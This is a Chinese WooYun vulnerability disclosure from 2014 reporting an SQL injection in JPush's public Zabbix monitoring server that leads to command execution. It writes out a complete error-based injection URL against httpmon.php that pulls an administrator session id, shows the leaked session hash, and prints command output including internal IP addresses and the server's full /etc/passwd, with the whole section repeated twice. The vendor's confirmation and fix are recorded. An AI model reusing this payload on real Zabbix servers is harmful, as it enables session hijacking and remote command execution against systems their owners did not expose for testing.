当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084877

漏洞标题:极光推送之zabbix注入导致命令执行

相关厂商:jpush.cn

漏洞作者: fuckadmin

提交时间:2014-11-27 08:30

修复时间:2014-11-28 14:03

公开时间:2014-11-28 14:03

漏洞类型:系统/服务补丁不及时

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-27: 细节已通知厂商并且等待厂商处理中
2014-11-27: 厂商已经确认,细节仅向厂商公开
2014-11-28: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

极光推送,英文简称 JPush,是一个面向普通开发者开放的,免费的第三方消息推送服务。

详细说明:

#1
问题所在:http://zabbix.jpush.cn

9.jpg


#测试代码

http://zabbix.jpush.cn//httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29


返回:

Error in query [INSERT INTO profiles (profileid, userid, idx, value_id, type) VALUES (12018, 2, 'web.httpmon.applications', 2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a), 1)] [Duplicate entry '0086eb7b19dea42045a784545edf52d0~1~0~1' for key 'group_key']


#3
命令执行,探测内网

Result of "uname"
eth0 Link encap:Ethernet HWaddr 00:21:F6:32:A8:01
inet addr:183.232.25.235 Bcast:183.232.25.255 Mask:255.255.255.224
inet6 addr: fe80::221:f6ff:fe32:a801/64
Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500
Metric:1 RX packets:457326664 errors:0 dropped:0 overruns:0 frame:0 TX packets:406907959 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:136547528023 (127.1 GiB) TX bytes:57723265171 (53.7 GiB) Interrupt:24
eth1 Link encap:Ethernet HWaddr 00:21:F6:32:A8:02
inet addr:192.168.250.193 Bcast:192.168.255.255 Mask:255.255.248.0 inet6 addr: fe80::221:f6ff:fe32:a802/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:12586741647 errors:0 dropped:0 overruns:0 frame:0 TX packets:10997429294 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2801281413779 (2.5 TiB) TX bytes:1574494276143 (1.4 TiB) Interrupt:23
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:53910779 errors:0 dropped:0 overruns:0 frame:0 TX packets:53910779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:39732267608 (37.0 GiB) TX bytes:39732267608 (37.0 GiB)


root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/
lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD
Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/
nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin admin:x:603:100::/home/admin:/bin/bash
zabbix:x:605:605::/home/zabbix:/sbin/nologin
push:x:601:100::/home/push:/bin/bash
mysql:x:27:27::/home/mysql:/sbin/nologin
nginx:x:501:501::/home/nginx:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
sqlgrey:x:498:498:SQLgrey Server:/var/lib/sqlgrey:/sbin/nologin
Linux nfjd-zabbixserver-193.jpushoa.com 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

漏洞证明:

#1
问题所在:http://zabbix.jpush.cn

9.jpg


#测试代码

http://zabbix.jpush.cn//httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29


返回:

Error in query [INSERT INTO profiles (profileid, userid, idx, value_id, type) VALUES (12018, 2, 'web.httpmon.applications', 2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a), 1)] [Duplicate entry '0086eb7b19dea42045a784545edf52d0~1~0~1' for key 'group_key']


#3
命令执行,探测内网

Result of "uname"
eth0 Link encap:Ethernet HWaddr 00:21:F6:32:A8:01
inet addr:183.232.25.235 Bcast:183.232.25.255 Mask:255.255.255.224
inet6 addr: fe80::221:f6ff:fe32:a801/64
Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500
Metric:1 RX packets:457326664 errors:0 dropped:0 overruns:0 frame:0 TX packets:406907959 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:136547528023 (127.1 GiB) TX bytes:57723265171 (53.7 GiB) Interrupt:24
eth1 Link encap:Ethernet HWaddr 00:21:F6:32:A8:02
inet addr:192.168.250.193 Bcast:192.168.255.255 Mask:255.255.248.0 inet6 addr: fe80::221:f6ff:fe32:a802/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:12586741647 errors:0 dropped:0 overruns:0 frame:0 TX packets:10997429294 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2801281413779 (2.5 TiB) TX bytes:1574494276143 (1.4 TiB) Interrupt:23
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:53910779 errors:0 dropped:0 overruns:0 frame:0 TX packets:53910779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:39732267608 (37.0 GiB) TX bytes:39732267608 (37.0 GiB)


root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/
lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD
Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/
nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin admin:x:603:100::/home/admin:/bin/bash
zabbix:x:605:605::/home/zabbix:/sbin/nologin
push:x:601:100::/home/push:/bin/bash
mysql:x:27:27::/home/mysql:/sbin/nologin
nginx:x:501:501::/home/nginx:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
sqlgrey:x:498:498:SQLgrey Server:/var/lib/sqlgrey:/sbin/nologin
Linux nfjd-zabbixserver-193.jpushoa.com 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

修复方案:

1.限制外部IP访问
2.升级版本

版权声明:转载请注明来源 fuckadmin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-11-27 09:21

厂商回复:

感谢提交漏洞,厂商确认,正在抓紧处理。

最新状态:

2014-11-28:已经修复。